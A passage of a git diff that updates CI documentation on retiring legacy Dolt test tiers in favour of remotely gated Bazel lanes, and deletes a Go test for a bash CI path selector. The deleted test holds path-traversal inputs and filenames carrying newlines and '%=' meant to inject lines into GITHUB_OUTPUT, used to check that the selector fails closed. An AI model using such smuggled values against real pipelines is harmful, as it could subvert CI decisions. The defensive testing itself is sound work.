model: - -- `detect-ci-tier` always runs. -- `build-embedded`, `test-embedded-storage`, `test-embedded-conformance` and - `test-embedded-cmd` use job-level `if`; the three test jobs (and, with the - proxied and server jobs, `build-embedded`) also stand down where the Bazel - lanes cover them (next section). -- `.github/scripts/ci-embedded-tier.sh` runs full embedded coverage for - `push`, `merge_group`, unavailable PR diff bounds, and risky paths. -- Docs-only PRs can skip the embedded matrix without leaving the required gate - pending, because the aggregate job still runs. +Retired (ga-96smfk.22). `pr-risk.yml`'s `detect-ci-tier` used to run the +embedded, proxied and server-Dolt matrices only for risky paths; the Bazel +lanes that replaced them run on every PR and merge group, and their result +cache keeps an unaffected PR's cost to a cache hit. ### Legacy Tier Retirement (D2) -D2 retires legacy test jobs on same-repo PRs, one step at a time, where -`pr.yml`'s gated Bazel lanes run the same tests: `pr-risk.yml`'s Dolt tiers -(steps 1 and 2) and `pr.yml`'s own Go test jobs (step 3): +D2 retired legacy test jobs one step at a time where `pr.yml`'s gated +Bazel lanes run the same tests: `pr-risk.yml`'s Dolt tiers (steps 1 and 2) +and `pr.yml`'s own Go test jobs (step 3). Until ga-96smfk.22 each step had a +committed flag (column 4) and a `bazel-coverage` decision job chose, per +PR, between the legacy jobs and the lanes; every PR and merge group took the +lanes (forks too, since `BAZEL_COVERS_FORKS`, ga-96smfk.15), so the legacy +jobs, the flags, the decision and its `BAZEL_*_RETIRED` gate ids were +removed and replaced by one gate id, `BAZEL_REMOTE`. The parity tests +(`TestBazelEmbeddedJobRunsEmbeddedTier`, `TestBazelDoltServerTiers`, +`TestBazelPureJobMirrorsPureGoJob`) now pin the lanes against the retired +jobs' frozen commands. -| Step | Legacy jobs | Bazel lanes (`bazel.yml`) | Flag | `pr.yml` gate id | +| Step | Retired legacy jobs | Bazel lanes (`bazel.yml`) | Former flag | Former `pr.yml` gate id | | --- | --- | --- | --- | --- | | 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | | 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | @@ -871,30 +848,18 @@ D2 retires legacy test jobs on same-repo PRs, one step at a time, where -`build-embedded`, whose `embedded-test-binaries` artifact feeds exactly -those six legacy jobs and nothing else, also stands down where both steps -apply. The Bazel lanes run the same tests with the same shard scripts and -manifests. On those PRs they are the tiers' only pre-merge run, and -`CI Gate / Required` requires them to have run remotely and passed. +The Bazel lanes run the same tests with the same shard scripts and +manifests. They are the tiers' only pre-merge run, and `CI Gate / +Required` requires them to have run remotely and passed. -- Step 3 specifics (`pr.yml`'s own jobs, so the legacy jobs and their Bazel - lanes run in the same `pr.yml` run): - - The three jobs add `needs: bazel-coverage` and - `if: needs.bazel-coverage.outputs.pr_lanes != 'true'`; `pr.yml`'s gate - accepts their skips only when `pr_lanes` is exactly `true`, and then - requires `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER` to have run - remotely and passed (`BAZEL_PR_LANES_RETIRED`). `pr-risk.yml` commits - the flag too, only so the shared `bazel-coverage` job stays identical; - nothing in PR Risk reads `pr_lanes`. - - Artifact consumers: `build-artifacts`' `ci-build-artifacts` feeds PR - Core, which stands down with it. No other job in any workflow reads `pr.yml`'s artifacts - (`docs-autofix.yml` reads `check-doc-flags`' +- Step 3 specifics (`pr.yml`'s own jobs): + - Artifact consumers: no job in any workflow reads `pr.yml`'s bd + artifact (`docs-autofix.yml` reads `check-doc-flags`' `cli-docs-freshness-patch`, which is unaffected). - F3: the package gates (`package-mcp`, `package-npm`) moved into `bazel.yml` itself, behind the caller input `package-gates` (`pr.yml` passes `"on"`; `bazel-farm.yml`/`nightly.yml` keep the default `"off"`). - They need only the `rbe` job, not `bazel-coverage`, `build-artifacts` or - the rest of the `bazel` call, and no longer download an artifact: on a + They need only the `rbe` job, not the rest of the `bazel` call, and no longer download an artifact: on a same-repo PR (`needs.rbe.outputs.enabled == 'true'`) each job builds its own bd with `bazel build --@rules_go//go/config:race //cmd/bd:bd_for_tests` (the race flag matches `test:ci`'s top-level @@ -955,9 +920,6 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` entry, and no test anywhere to run part of its checks under `go test` only. - - Package gates on a covered PR in a non-remote mode (the farm switch off) - fail in their own "Check the Bazel-built bd exists" step, naming - `BAZEL_PR_LANES_RETIRED`, instead of on a missing artifact. - Every artifact `bazel.yml` uploads sets `overwrite: true`, so "Re-run failed jobs" of a lane (the recovery for an eviction or a flake) does not fail on the upload with a 409 (policy-tested). @@ -970,7 +932,7 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - `--config=sole-run` (`--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 hardening) is added to every `bazel test` of the three lanes wherever they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, - `fork-ro` and `fork-rw`), which every covered PR runs in. It used to + `fork-ro` and `fork-rw`), which every PR and merge group runs in. It used to carry `--nocache_test_results` too; test results are now cached on every run but nightly's (see [Merge Queue](#merge-queue), "Test result caching"). Measured 2026-10-02: `bazel test //... --config=ci @@ -985,102 +947,21 @@ manifests. On those PRs they are the tiers' only pre-merge run, and for their few targets, is not practical for the whole tree.) The flaky target query in the step 1 and 2 lanes covers `tests(//...)` and runs on every covered PR. -- Switch: one committed workflow env flag per step (table above), each set - to the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` - (policy-tested). They are deliberately not the `RBE_WEST_WORKERS` repo - variable. A variable is read again by every run and re-run, and the two - workflows are separate runs, so one could see it on and the other off; - see "Why a committed flag" below. -- Who: `pull_request` runs from same-repo branches (not forks) whose - `github.actor` is not `dependabot[bot]`, for each step whose flag is - `"true"`. The executor secret is deliberately not part of the decision: a - same-repo PR whose run lacks it (secret deleted or emptied) is still - covered, takes Bazel mode `cache` (no embedded, proxied or server-storage - lane) and so turns - `CI Gate / Required` red, instead of quietly moving back to a legacy tier - that one of its runs may already have skipped. - Fork and Dependabot PRs too, but only while the committed - `BAZEL_COVERS_FORKS` flag (the same literal in both workflows, - policy-tested) is `"true"`: their lanes then run remotely through - rbe-fork (modes `fork-ro`/`fork-rw`), and a run rbe-fork does not serve - (mode `cache`) turns `CI Gate / Required` red rather than falling back. - It is `"true"` (ga-96smfk.15): fork and Dependabot PRs run only the Bazel - lanes for the retired tiers. -- Everyone else keeps the legacy tiers unchanged: - - fork PRs, while `BAZEL_COVERS_FORKS` is `"false"` (their Bazel lanes - run beside the legacy tiers: remotely while rbe-fork is open, else in - mode `cache`); - - Dependabot PRs, likewise (no Actions secrets; `github.actor`, unlike - `github.triggering_actor`, stays `dependabot[bot]` when someone else - re-runs them); - - every PR while that step's flag is `"false"`. - - Every `merge_group` run (merge queue) is covered like a same-repo PR: it - runs on this repository's `gh-readonly-queue/*` branch with the CI - secrets, its actor is `github-merge-queue[bot]`, and `bazel.yml`'s `rbe` - job takes mode `remote` for it, so the Bazel lanes are the queue entry's - only run of each retired tier and `CI Gate / Required` is red unless they - ran remotely and passed (see [Merge Queue](#merge-queue)). +- Gate: on every `pull_request` and `merge_group` run (same-repo, fork and + Dependabot alike; merge groups run on this repository's + `gh-readonly-queue/*` branch with the CI secrets) `pr.yml`'s gate requires + `BAZEL_REMOTE` (the call's mode is `remote`, `fork-ro` or `fork-rw`) and + every lane's own id. Mode `skip` (the farm switch off) and mode `cache` + (the executor secret missing, or rbe-fork closed or refusing a fork run) + are red, never a silent pass with fewer tests. + `scripts/pr_risk_bazel_coverage_test.go` + (`TestPRGateRequiresRemoteBazelLanes`) runs `bazel.yml`'s actual `rbe` + step and `pr.yml`'s actual gate step over every event, variable value, + secret, fork, actor and mint answer. On push to `main`, `bazel.yml`'s push run is the only run of these tiers (`main.yml`'s legacy embedded, proxied, integration, domain+uow and Linux unit jobs were removed, ga-96smfk.14). -- How: - - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job - (policy-tested). The job does no checkout and runs no repository code. - It reads the flags, the event, the fork flag and the actor (no secret, - no variable), and outputs `embedded` (step 1), `dolt_server` - (step 2) and `pr_lanes` (step 3). - - Each legacy test job adds - `needs.bazel-coverage.outputs. != 'true'` to its - `if`; `build-embedded` adds - `(embedded != 'true' || dolt_server != 'true')`. - - PR Risk's gate accepts a legacy test job's skip only when its step's - output is `true`, and `BUILD_EMBEDDED`'s only when both are. - - `pr.yml`'s gate requires `BAZEL_COVERAGE` (the job's result) and one - `BAZEL_*_RETIRED` id per step. Such an id is red when its step's output - is `true` and the Bazel call's mode is not `remote` or any of the step's - lanes (`BAZEL_EMBEDDED`; `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; - `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER`) is not `success`. In particular, mode `skip` (the farm switch off) and - mode `cache` (the executor secret missing) are red there, although - `bazel-gate.sh` alone would accept them. - - A failed, cancelled or missing decision is red in both gates. -- Why a committed flag: - - The outputs depend on nothing a re-run can change (flags, event, fork, - actor). So any run or re-run of PR Risk that skips a legacy tier is - matched by `pr.yml` runs that compute the same outputs. - - Each such `pr.yml` run is green only if that tier's Bazel lanes ran - remotely and passed in that run. - - Flipping `RBE_WEST_WORKERS` either way, plus "Re-run all jobs" of - either workflow, can no longer leave both required checks green with - neither the legacy tier nor its lanes run. - - `scripts/pr_risk_bazel_coverage_test.go` checks this by running both - workflows' actual decision steps, `bazel.yml`'s `rbe` step and `pr.yml`'s - actual gate step over every event, variable value, secret, fork, actor - and flag combination, with the variable and the secret each differing - between the two runs. It also requires the two workflows to share their - `pull_request` triggers, and simulates PR Risk's actual gate step over - every risk tier and decision. -- Cost of failing closed: while a flag is `"true"`, a same-repo PR without - the executor secret (secret deleted or emptied, or a non-Dependabot bot - whose runs get no secrets) is red until the secret is restored or the - flag is committed `"false"`. -- Revert (per step): - 1. Commit that step's flag `"false"` in both workflows on `main`. To turn - remote execution off, commit both flags `"false"`. - 2. Every PR needs a new push or a merge of `main` to pick it up: a - pull_request run uses the workflow files of the PR's merge commit, and - a re-run reuses that commit. - 3. Only then unset `RBE_WEST_WORKERS`, if remote execution should be off. - - Reverting the D2 commits removes the decision job entirely. -- Re-runs: "Re-run all jobs" (or "Re-run failed jobs") of one workflow - re-evaluates variables and secrets for that workflow's run only. The - other workflow's last result stays on the head SHA. With the committed - flags this cannot drop a tier silently: the outputs depend on the flags - (fixed by the merge commit), the event, the fork flag and the actor, and - on no variable or secret. Re-running "failed jobs" keeps the earlier - jobs' outputs, including the decision and the `rbe` mode. - Enforcement scope: the beads-only ruleset requires both gates on the default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this @@ -1133,14 +1014,12 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - The `args` and `env` of every target tagged `embedded`, `dolt-server-proxied` or `dolt-server-integration` are pinned. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; PR Risk's own - legacy `test-embedded-cmd` fork/push jobs still run 20 shards of - their own, frozen manifest block — a different split, not this one, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` - (15; legacy `test-embedded-storage` still runs 5 of its own, same - reasoning, F1), `//cmd/bd:bd_proxied_test` (30; PR Risk's own legacy - `test-proxied-cmd` fork/push jobs still run 15 shards of their own, - frozen manifest block — a different split, not this one, F2) and + - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's + frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, + F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (15; + the frozen 5-shard block was `test-embedded-storage`'s, F1), + `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was + `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus `TestMain`, which `grep '^func Test'` lists but which is never a @@ -1190,7 +1069,7 @@ scope, not this slice's. (and `test-dolt-server-fingerprint`, since retired); pr-risk.yml's `test-nix` (4 vCPU). Every other job keeps the default 2 vCPU label. Forks and Dependabot PRs fall back - to `ubuntu-latest`, as F3's `bazel-coverage`/`ci-gate`/`detect-ci-tier` jobs + to `ubuntu-latest`, as F3's `ci-gate` jobs and bazel.yml's `rbe` job already do; `TestBlacksmithJobsReadNoSecrets` requires that no job eligible for a Blacksmith label ever reads a secret, so a maintainer re-running a Dependabot PR landing on Blacksmith (actor change, @@ -1334,29 +1213,20 @@ macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on ### Server Dolt Storage Matrix -`test-server-storage-full` mirrors `test-embedded-storage`'s sharding, one -tier down in the same workflow: +Retired from `pr-risk.yml` (ga-96smfk.22): `bazel.yml`'s `bazel-server-storage` +lane runs `//internal/storage/dolt:dolt_server_full_test` (16 shards) and +`:dolt_server_conformance_test` against hermetic dolt sql-servers. -- Job-level `if` uses the same `detect-ci-tier` gate as the embedded matrix, - and both server jobs stand down where the Bazel `server-Dolt storage tier` - lane covers them (D2 step 2, [Legacy Tier Retirement](#legacy-tier-retirement-d2)). - `.github/scripts/server-storage-test-shard.sh` discovers top-level `Test*` functions from `internal/storage/dolt/*_test.go` (excluding - `TestConformance`, which keeps its own `test-server-storage` job), assigns - known-heavy tests via the committed - `.github/scripts/server-storage-test-shards.txt` manifest, and - hash-distributes everything else — the same manifest-plus-fallback - mechanism `embedded-storage-test-shard.sh` uses. -- 16 shards (vs. embedded's 5): server-mode tests are real socket - round-trips against a containerized Dolt server with a per-test - CREATE/DROP DATABASE, and the package has 3.5x as many top-level tests - (1126 vs. 324) as the embedded suite. An earlier unsharded single job - (15m Go timeout, `timeout-minutes: 20`) never finished — it died at - 256/1126 tests with zero failures, just out of time. One test, - `TestCloudAuthCLIRouting`, alone costs ~9.5 minutes and is pinned alone + `TestConformance`, which runs in its own target), assigns known-heavy + tests via the committed `.github/scripts/server-storage-test-shards.txt` + manifest, and hash-distributes everything else — the same + manifest-plus-fallback mechanism `embedded-storage-test-shard.sh` uses. +- 16 shards: the package has 1126 top-level tests, each a real socket + round-trip against a Dolt server with a per-test CREATE/DROP DATABASE. + `TestCloudAuthCLIRouting` alone costs ~9.5 minutes and is pinned alone on shard 1 in the manifest so it cannot delay any other shard. -- `fail-fast: false`, matching every other matrix job in this workflow: one - slow or flaky shard should not cancel its siblings. ### Regression Tests @@ -1455,17 +1325,12 @@ workflows run on that commit like a same-repo PR: exactly as before merging.** A ruleset `pull_request` rule (1 approval, approval of the most recent push) would enforce a review before queueing. That decision is pending. -- D2: `bazel-coverage` covers every merge group, so the retired legacy - tiers (embedded, proxied/server Dolt, pr.yml's PR Core/build/pure-Go/ - domain+uow/contract jobs) stay retired and the gate requires their - Bazel lanes to have run remotely and passed. With the farm switch off - (mode `skip`) or a missing executor secret (mode `cache`) the gate is - red, exactly as on a same-repo PR: turn the flags off first (runbook in - [Current State](#current-state)). +- The gate requires the Bazel lanes to have run remotely and passed + (`BAZEL_REMOTE`), exactly as on a PR: with the farm switch off (mode + `skip`) or a missing executor secret (mode `cache`) it is red. - `bazel-cmd-dolt` (required while `BAZEL_CMD_DOLT_REQUIRED` is `"true"`), `bazel-integration`, the package gates and the F4 prebuilt Windows pair - run as on a PR. `detect-ci-tier` reports full embedded coverage (moot - while the tiers are retired). + run as on a PR. - Diff bases: a merge group has no `pull_request` payload and no `base_ref`. The migration-hygiene `BASE_SHA`, the package gates' `PR_BASE_SHA`/`PR_HEAD_SHA`, the `.beads/issues.jsonl` guard and the @@ -1628,8 +1493,7 @@ would queue forever on a missing runner label instead of falling back to the label being unavailable). Revert these four together to take same-repo PRs off Blacksmith entirely and back onto `ubuntu-latest`: -1. **F3's gate runners** — pr.yml's and pr-risk.yml's `bazel-coverage`, - `ci-gate` and `detect-ci-tier` jobs. +1. **F3's gate runners** — pr.yml's and pr-risk.yml's `ci-gate` jobs. 2. **bazel.yml's `rbe` job** runner. 3. **F7a** — pr.yml's `fast-checks`, `advisory-reports`, `check-release-target-cross-compilation`, `check-doc-flags`, diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index c6c4caa81..178df0e2e 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -31,7 +31,6 @@ go_test( "ci_analytics_extract_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", - "ci_capability_selector_test.go", "ci_f7b_review_test.go", "ci_f7c_advisory_test.go", "ci_merge_queue_test.go", diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 14970f8d1..6937a524e 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -28,9 +28,9 @@ import ( // than kept as independent copies. // F3: the same "same-repo PR, or merge_group" Blacksmith expression used by -// pr.yml's and pr-risk.yml's bazel-coverage/ci-gate/detect-ci-tier jobs - a -// package-level const so every test that needs it (TestSameRepoBlacksmithRunners, -// TestPRRiskBazelCoverageJob, ...) reads the one literal. +// pr.yml's and pr-risk.yml's ci-gate jobs - a package-level const so every +// test that needs it (TestSameRepoBlacksmithRunners, ...) reads the one +// literal. const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized diff --git a/scripts/ci_capability_selector_test.go b/scripts/ci_capability_selector_test.go deleted file mode 100644 index cc160a3a1..000000000 --- a/scripts/ci_capability_selector_test.go +++ /dev/null @@ -1,281 +0,0 @@ -package scripts_test - -import ( - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - "testing" - - "gopkg.in/yaml.v3" -) - -var selectorKeys = []string{ - "embedded_cli", "proxied_cli", "embedded_storage", "embedded_conformance", "server_conformance", "full", "reason", -} - -func TestCICapabilitySelectorClassifiesOwnedPaths(t *testing.T) { - for _, tt := range []struct { - name string - records []string - want map[string]string - }{ - {"docs", []string{"A", "docs/guide.md"}, decisions(false, false, false, false, false, "docs_only")}, - {"command", []string{"M", "cmd/bd/create.go"}, decisions(true, true, false, false, false, "cmd_bd")}, - {"embedded", []string{"M", "internal/storage/embeddeddolt/store.go"}, decisions(true, false, true, true, false, "embedded_storage")}, - {"server", []string{"M", "internal/storage/dolt/store.go"}, decisions(false, true, false, false, true, "server_storage")}, - {"shared conformance", []string{"M", "backend/conformance/portable.go"}, decisions(false, false, false, true, true, "shared_conformance")}, - {"mixed union", []string{"M", "cmd/bd/create.go", "M", "internal/storage/embeddeddolt/store.go"}, decisions(true, true, true, true, false, "mixed")}, - {"all leaves normalize full", []string{"M", "cmd/bd/create.go", "M", "internal/storage/embeddeddolt/store.go", "M", "internal/storage/dolt/store.go"}, decisions(true, true, true, true, true, "full")}, - } { - t.Run(tt.name, func(t *testing.T) { - got, _ := runCICapabilitySelector(t, tt.records, "pull_request", true, false) - assertSelectorOutputs(t, got, tt.want) - }) - } -} - -func TestCICapabilitySelectorFailsClosed(t *testing.T) { - for _, tt := range []struct { - name string - event string - records []string - bounds bool - gitFail bool - reason string - }{ - {"push", "push", nil, true, false, "push"}, - {"merge group", "merge_group", nil, true, false, "merge_group"}, - {"unsupported event", "schedule", nil, true, false, "unsupported_event"}, - {"missing bounds", "pull_request", nil, false, false, "missing_bounds"}, - {"diff failure", "pull_request", nil, true, true, "diff_failed"}, - {"delete", "pull_request", []string{"D", "docs/guide.md"}, true, false, "unsafe_status"}, - {"rename", "pull_request", []string{"R100", "docs/old.md", "docs/new.md"}, true, false, "unsafe_status"}, - {"copy", "pull_request", []string{"C100", "docs/old.md", "docs/new.md"}, true, false, "unsafe_status"}, - {"type change", "pull_request", []string{"T", "docs/guide.md"}, true, false, "unsafe_status"}, - {"unmerged", "pull_request", []string{"U", "docs/guide.md"}, true, false, "unsafe_status"}, - {"unknown status", "pull_request", []string{"X", "docs/guide.md"}, true, false, "unsafe_status"}, - {"broken pair", "pull_request", []string{"B", "docs/guide.md"}, true, false, "unsafe_status"}, - {"malformed", "pull_request", []string{"A"}, true, false, "malformed_record"}, - {"absolute", "pull_request", []string{"A", "/tmp/unsafe"}, true, false, "unsafe_path"}, - {"traversal", "pull_request", []string{"A", "docs/../unsafe.md"}, true, false, "unsafe_path"}, - {"workflow", "pull_request", []string{"M", ".github/workflows/pr-risk.yml"}, true, false, "unsafe_control"}, - {"selector", "pull_request", []string{"M", ".github/scripts/ci-capability-selector.sh"}, true, false, "unsafe_control"}, - {"build input", "pull_request", []string{"M", "go.mod"}, true, false, "build_input"}, - {"cross cutting storage", "pull_request", []string{"M", "internal/storage/schema/migrations/1.sql"}, true, false, "cross_cutting_storage"}, - {"unowned", "pull_request", []string{"M", "internal/other/change.go"}, true, false, "unowned_path"}, - } { - t.Run(tt.name, func(t *testing.T) { - got, _ := runCICapabilitySelector(t, tt.records, tt.event, tt.bounds, tt.gitFail) - assertSelectorOutputs(t, got, decisions(true, true, true, true, true, tt.reason)) - }) - } -} - -func TestCICapabilitySelectorNeverInjectsFilenamesIntoOutputs(t *testing.T) { - got, raw := runCICapabilitySelector(t, []string{"A", "docs/new\nname\t%=.md"}, "pull_request", true, false) - assertSelectorOutputs(t, got, decisions(false, false, false, false, false, "docs_only")) - if strings.Contains(raw, "new\nname") || strings.Contains(raw, "\t%=") { - t.Fatalf("filename leaked into selector output: %q", raw) - } - - got, raw = runCICapabilitySelector(t, []string{"A", "unowned/new\nname\t%=.txt"}, "pull_request", true, false) - assertSelectorOutputs(t, got, decisions(true, true, true, true, true, "unowned_path")) - if strings.Contains(raw, "new\nname") || strings.Contains(raw, "\t%=") { - t.Fatalf("untrusted filename leaked into selector output: %q", raw) - } -} - -func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { - data, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), ".github", "workflows", "pr-risk.yml")) - if err != nil { - t.Fatalf("read workflow: %v", err) - } - var workflow capabilitySelectorWorkflow - if err := yaml.Unmarshal(data, &workflow); err != nil { - t.Fatalf("parse workflow: %v", err) - } - wantJobs := map[string]bool{"detect-ci-tier": true, "bazel-coverage": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} - if len(workflow.Jobs) != len(wantJobs) { - t.Errorf("job count = %d, want %d", len(workflow.Jobs), len(wantJobs)) - } - for name := range workflow.Jobs { - if !wantJobs[name] { - t.Errorf("unexpected job %q", name) - } - } - for name := range wantJobs { - if _, ok := workflow.Jobs[name]; !ok { - t.Errorf("missing job %q", name) - } - } - detector := workflow.Jobs["detect-ci-tier"] - if detector.Outputs["full_embedded"] != "${{ steps.tier.outputs.full_embedded }}" { - t.Errorf("full_embedded output = %q", detector.Outputs["full_embedded"]) - } - tier, shadow := detector.step(t, "Decide embedded Dolt coverage"), detector.step(t, "Shadow CI capability selector") - if tier.ID != "tier" || shadow.ID != "shadow-selector" || !shadow.ContinueOnError || detector.stepIndex(t, shadow.Name) != detector.stepIndex(t, tier.Name)+1 { - t.Errorf("shadow step is not immediately after tier: tier=%+v shadow=%+v", tier, shadow) - } - // The legacy tiers' test jobs, and build-embedded, run on the risk tier - // and also stand down where the gated Bazel lanes cover them - // (TestPRRiskLegacyTiersDeferToBazelLanes). - for name, r := range retiredJobs() { - if got := workflow.Jobs[name].If; got != r.legacyIf() { - t.Errorf("%s if = %q, want %q", name, got, r.legacyIf()) - } - } - if got := workflow.Jobs["build-embedded"].If; got != prRiskBuildEmbeddedIf { - t.Errorf("build-embedded if = %q, want %q", got, prRiskBuildEmbeddedIf) - } - if workflow.Jobs["test-nix"].If != "" { - t.Errorf("test-nix if = %q, want ungated", workflow.Jobs["test-nix"].If) - } - gate := workflow.Jobs["ci-gate"] - wantNeeds := []string{"detect-ci-tier", "bazel-coverage", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} - gateStep := gate.step(t, "Evaluate CI gate") - if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BAZEL_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { - t.Errorf("ci-gate authority changed: needs=%v env=%v", gate.Needs, gateStep.Env) - } - for name, job := range workflow.Jobs { - if strings.Contains(job.If, "shadow_") { - t.Errorf("job %q shadow condition = %q", name, job.If) - } - for _, step := range job.Steps { - if strings.Contains(step.If, "shadow_") { - t.Errorf("step %q shadow condition = %q", step.Name, step.If) - } - for key, value := range step.Env { - if strings.Contains(value, "shadow_") { - t.Errorf("step %q env %s consumes shadow output", step.Name, key) - } - } - } - } -} - -type capabilitySelectorWorkflow struct { - Jobs map[string]capabilitySelectorJob `yaml:"jobs"` -} - -type capabilitySelectorJob struct { - Needs ciWorkflowStringList `yaml:"needs"` - If string `yaml:"if"` - Outputs map[string]string `yaml:"outputs"` - Steps []capabilitySelectorWorkflowStep `yaml:"steps"` -} - -type capabilitySelectorWorkflowStep struct { - Name string `yaml:"name"` - ID string `yaml:"id"` - If string `yaml:"if"` - ContinueOnError bool `yaml:"continue-on-error"` - Run string `yaml:"run"` - Env map[string]string `yaml:"env"` -} - -func (job capabilitySelectorJob) step(t *testing.T, name string) capabilitySelectorWorkflowStep { - t.Helper() - for _, step := range job.Steps { - if step.Name == name { - return step - } - } - t.Fatalf("job has no %q step", name) - return capabilitySelectorWorkflowStep{} -} - -func (job capabilitySelectorJob) stepIndex(t *testing.T, name string) int { - t.Helper() - for index, step := range job.Steps { - if step.Name == name { - return index - } - } - t.Fatalf("job has no %q step", name) - return -1 -} - -func decisions(embeddedCLI, proxiedCLI, embeddedStorage, embeddedConformance, serverConformance bool, reason string) map[string]string { - full := embeddedCLI && proxiedCLI && embeddedStorage && embeddedConformance && serverConformance - return map[string]string{ - "embedded_cli": boolString(embeddedCLI), - "proxied_cli": boolString(proxiedCLI), - "embedded_storage": boolString(embeddedStorage), - "embedded_conformance": boolString(embeddedConformance), - "server_conformance": boolString(serverConformance), - "full": boolString(full), - "reason": reason, - } -} - -func boolString(value bool) string { - if value { - return "true" - } - return "false" -} - -func runCICapabilitySelector(t *testing.T, records []string, event string, bounds, gitFail bool) (map[string]string, string) { - t.Helper() - if runtime.GOOS == "windows" { - t.Skip("selector is a Bash boundary") - } - dir := t.TempDir() - fixture := filepath.Join(dir, "diff") - if err := os.WriteFile(fixture, append([]byte(strings.Join(records, "\x00")), 0), 0600); err != nil { - t.Fatalf("write NUL fixture: %v", err) - } - fakeGit := filepath.Join(dir, "git") - if err := os.WriteFile(fakeGit, []byte("#!/bin/sh\n[ \"${FAKE_GIT_FAIL:-}\" = 1 ] && exit 1\ncat \"$FAKE_GIT_FIXTURE\"\n"), 0700); err != nil { - t.Fatalf("write fake git: %v", err) - } - output := filepath.Join(dir, "github-output") - cmd := exec.Command("bash", filepath.Join("..", ".github", "scripts", "ci-capability-selector.sh")) - cmd.Env = append(os.Environ(), "PATH="+dir+string(os.PathListSeparator)+os.Getenv("PATH"), "GITHUB_EVENT_NAME="+event, "FAKE_GIT_FIXTURE="+fixture, "GITHUB_OUTPUT="+output) - if bounds { - cmd.Env = append(cmd.Env, "PR_BASE_SHA=base", "PR_HEAD_SHA=head") - } - if gitFail { - cmd.Env = append(cmd.Env, "FAKE_GIT_FAIL=1") - } - raw, err := cmd.Output() - if err != nil { - t.Fatalf("selector failed: %v", err) - } - outputBytes, err := os.ReadFile(output) - if err != nil { - t.Fatalf("read GITHUB_OUTPUT: %v", err) - } - if string(raw) != string(outputBytes) { - t.Fatalf("stdout and GITHUB_OUTPUT differ:\nstdout=%q\noutput=%q", raw, outputBytes) - } - return parseSelectorOutputs(t, string(raw)), string(raw) -} - -func parseSelectorOutputs(t *testing.T, raw string) map[string]string { - t.Helper() - lines := strings.Split(strings.TrimSuffix(raw, "\n"), "\n") - if len(lines) != len(selectorKeys) { - t.Fatalf("selector output has %d lines, want %d: %q", len(lines), len(selectorKeys), raw) - } - got := make(map[string]string, len(lines)) - for index, line := range lines { - key, value, ok := strings.Cut(line, "=") - if !ok || key != selectorKeys[index] { - t.Fatalf("selector output line %d = %q, want %q=...", index, line, selectorKeys[index]) - } - got[key] = value - } - return got -} - -func assertSelectorOutputs(t *testing.T, got, want map[string]string) { - t.Helper() - for _, key := range selectorKeys { - if got[key] != want[key] { - t.Errorf("%s = %q, want %q", key, got[key], want[key]) - } - } -} diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 